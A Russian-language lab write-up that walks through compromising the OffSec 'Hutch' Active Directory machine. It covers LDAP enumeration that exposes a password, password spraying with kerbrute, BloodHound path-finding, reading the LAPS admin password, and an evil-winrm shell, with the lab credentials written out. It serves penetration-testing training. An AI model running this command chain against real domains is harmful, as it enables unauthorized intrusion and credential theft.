Из описания машины следует, что основным вектором атаки является LDAP. Это ключевой аспект, на который стоит обратить внимание в ходе анализа.
Кроме того, в описании указано, что сложность оценивается как Hard согласно рейтингу сообщества. Однако я с этим не полностью согласен — на мой взгляд, уровень сложности ближе к Medium. В процессе дальнейшего разбора вы поймёте почему: для успешного взлома машины не потребуется использование сложных трюков или узкоспециализированных знаний. Все действия выполняются с помощью стандартного набора инструментов пентестера.
NMAP #
Начинем со стандартного сканирование доступных портов:
nmap -v -Pn -T4 -p- 192.168.193.122
Результат:
Теперь просканируем только эти порты более детально:
nmap -v -Pn -A -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49676,49692,49765 192.168.193.122
Результат:
LDAP #
В результатах сканирование обращаем внимание на LDAP (порт 3268). Как упоминалось ранее, основной вектор атаки для данной машины — это именно LDAP.
ldapsearch #
Пробуем получить полезную информацию из LDAP c помощью ldapsearch.
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec"
Вывод команды будет довольно большой, часть вывода на примере ниже:
На скриншоте выше вы можете увидеть информацию о нескольких пользователях в домене. Давайте позапускаем команду несколько раз с разными grep, чтобы убрать все лишнее:
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec" | grep userPrincipalName | awk '{ print $2}'
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec" | grep description
А вот и первый “низко висящий фрукт”. Теперь нужно определить, какому пользователю принадлежит этот пароль. Чтобы не искать его вручную среди всех пользователей, где в поле description указан данный пароль, можно использовать команду grep с выводом 40 строк до и 40 после совпадения
ldapsearch -x -H ldap://192.168.193.122 -b "DC=hutch,DC=offsec" | grep -A 40 -B 40 CrabSharkJellyfish192
Password spraying attack #
Итак, на данный момент мы имеем пару логин:пароль для пользователя [email protected], а также список логинов других пользователей.
password spraying атаку на другие известные нам логины.
Но перед тем, как это делать надо проверить 2 вещи:
- Проверить, что с найденым логином и паролем можно залогиниться в систему и он рабочий.
- Проверить политику паролей в домене, чтобы определить сколько попыток ввода неправильного пароля допустимо до блокировки учетной записи.
password spray, credential stuffing или brute force.
Password policy #
Мы можем сделать два действия за раз:
crackmapexec smb 192.168.193.122 -u fmcsorley -p 'CrabSharkJellyfish192' --pass-pol
На скриншоте выше мы видим, что порог неправильных вводов пароля не настроен и мы можем смело двигаться дальше к следующему этапу - password spraying attack.
kerbrute #
Ранее мы уже выгрузили список учетных записей, теперь сохраним их в файл
A tool to perform Kerberos pre-auth bruteforcing
users.txt и сделаем password spraying найденого пароля с помощью утилиты kerbrute.
kerbrute passwordspray -d hutch.offsec --dc 192.168.193.122 users.txt 'CrabSharkJellyfish192'
Как мы видим, данный пароль используется только для одного пользователя fmcsorley и password spraying не принес новых доступов. Мы должны были попробовать, это является неотъемлимой частью методологии пентеста.
Intermediate results #
Промежуточные итоги таковы, что мы знаем только одну пару логин:пароль и теперь пришло время попробовать получить больше информации о домене.
Privileges escalation #
Мой подход к решению этой задачи отличается от официального. Официальный write-up предлагает использовать WebDAV для получения первоначального шелла на машину и последующего поиска путей для эскалации привилегий. Этот метод основывается на внимательности и использовании базовых возможностей без привлечения дополнительных инструментов.
Однако я хочу предложить более интересный и универсальный подход, который вы сможете применять не только в этом случае, но и для работы с другими машинами в будущем.
BloodHound #
Мы будем использовать инструмент BloodHound для получения всей информации о домене и поиска кратчайшего пути до доменного админа.
Для тех кто не знаком с BloodHound,то рекомендую к просмотру видео ниже. В Яндекс.Браузере можете включить перевод видео с озвучкой.
Installation #
Я запускаю BloodHound в Docker с использованием Docker Compose. Подробная инструкция по установке доступна по официальной ссылке.
После запуска BloodHound, ему необходимо предоставить данные о домене. Для их сбора можно использовать разные инструменты. Официальная документация рекомендует их собственные коллекторы, например SharpHound.exe.
Однако, так как у нас пока нет шелла на целевой машине, вместо Windows-версии коллектора мы будем использовать Python-версию. Это позволяет собирать необходимые данные удаленно, что особенно полезно на этапе предварительного анализа домена.
A Python based ingestor for BloodHound
bloodhound-ce.
Установка bloodhound.py и нужных зависимостей:
git clone -b bloodhound-ce https://github.com/dirkjanm/BloodHound.py.git
python3 -m venv venv
source venv/bin/activate
pip install .
Collection information about Domain #
Перед запуском коллектора добавим новую запись в /etc/hosts.
cat /etc/hosts
192.168.193.122 hutchdc.hutch.offsec hutch.offsec
./bloodhound.py -u 'fmcsorley' -p 'CrabSharkJellyfish192' -ns 192.168.193.122 -d hutch.offsec -c all
В результате в директории с bloodhound.py появятся файлы json, которые далее надо будет загрузить в BloodHound использую UI.
BloodHound UI #
После загрузки json файлов в BloodHound и их обработки, мы можем начать исследовать домен и взаимосвязи между различными ролями. Но давайте сразу перейдем к делу и построим путь от пользователя fmcsorley до доменного админа.
После загрузки файлов формата JSON в BloodHound и завершения их обработки, мы можем приступить к анализу домена и исследованию взаимосвязей между различными объектами.
Однако, чтобы не откладывать ключевые действия, сразу построим путь повышения привилегий от пользователя fmcsorley до доменного администратора. Для этого:
- Откройте вкладку
Explore -> Pathfindingв интерфейсеBloodHound. - Укажите пользователя
fmcsorleyкак начальную точку и группуDomain Adminsв качестве целевой. BloodHoundавтоматически построит цепочку действий, которая показывает, какие ресурсы и привилегии нужно использовать или обойти, чтобы достичь уровня доменного администратора.
Как видно на скришноте пользователь fmcsorley обладает правами ReadLAPSPassword.
[email protected] has the ability to read the password set by Local Administrator Password Solution (LAPS) on the computer HUTCHDC.HUTCH.OFFSEC.
The local administrator password for a computer managed by LAPS is stored in the confidential LDAP attribute, ms-mcs-AdmPwd.
Иными словами, это означает, что пользователь может получить пароль локального администратора, управляемый LAPS, в открытом виде.
LAPS #
Вот два способа, как прочитать пароль админа из LAPS.
Option 1 #
Используя
Python setter/getter for property ms-Mcs-AdmPwd used by LAPS.
pyLAPS
./pyLAPS.py --action get -d "hutch.offsec" -u "fmcsorley" -p "CrabSharkJellyfish192"
Option 2 #
Используя ldapsearch
ldapsearch -v -x -H ldap://192.168.193.122 -D [email protected] -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
Admin password #
Итак мы получили пароль админа в открытом виде и таким образом повысили привелегии.
Creds #
В итоге у нас есть две учетные записи.
[email protected]:CrabSharkJellyfish192
[email protected]:{71A@2%$}85x4L
Getting Shell #
Пришло время получить шелл на машину с админскими правами. Для этого воспользуемся утилитой evil-winrm.
evil-winrm -i 192.168.193.122 -u 'Administrator' -p '{71A@2%$}85x4L'
И заберем флаги:
Conclusion #
Давайте еще раз кратко пробежимся по тому, что мы сделали:
- С помощью
nmapопределили, что есть открытый порт на котором висит LDAP. - Используя
ldapsearchнашли пароль от учетки обычного пользователя в полеdescription. - Попробовали сделать
password sprayingна другие учетные записи с найденым паролем, но неудачно. - Используя учетку обычного пользователя с помощью
BloodHoundвыявили путь для эскалации привелегий. - Получили пароль админа в открытом виде.
- Используя
evil-winrmполучилиshellна машину с админскими правами и забрали флаги.
Возвращаясь к тому, с чего я начал эту статью, а именно к сложности данной машины. Другие пользователи оценивают ее, как Hard. Я думаю, что дело в том, что они не использовали BloodHound и застряли на этапе эскалации привелегий.
Но даже если вы первый раз слышите про LAPS, то использую BloodHound вы бы о нем узнали и смогли продвинуться дальше.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!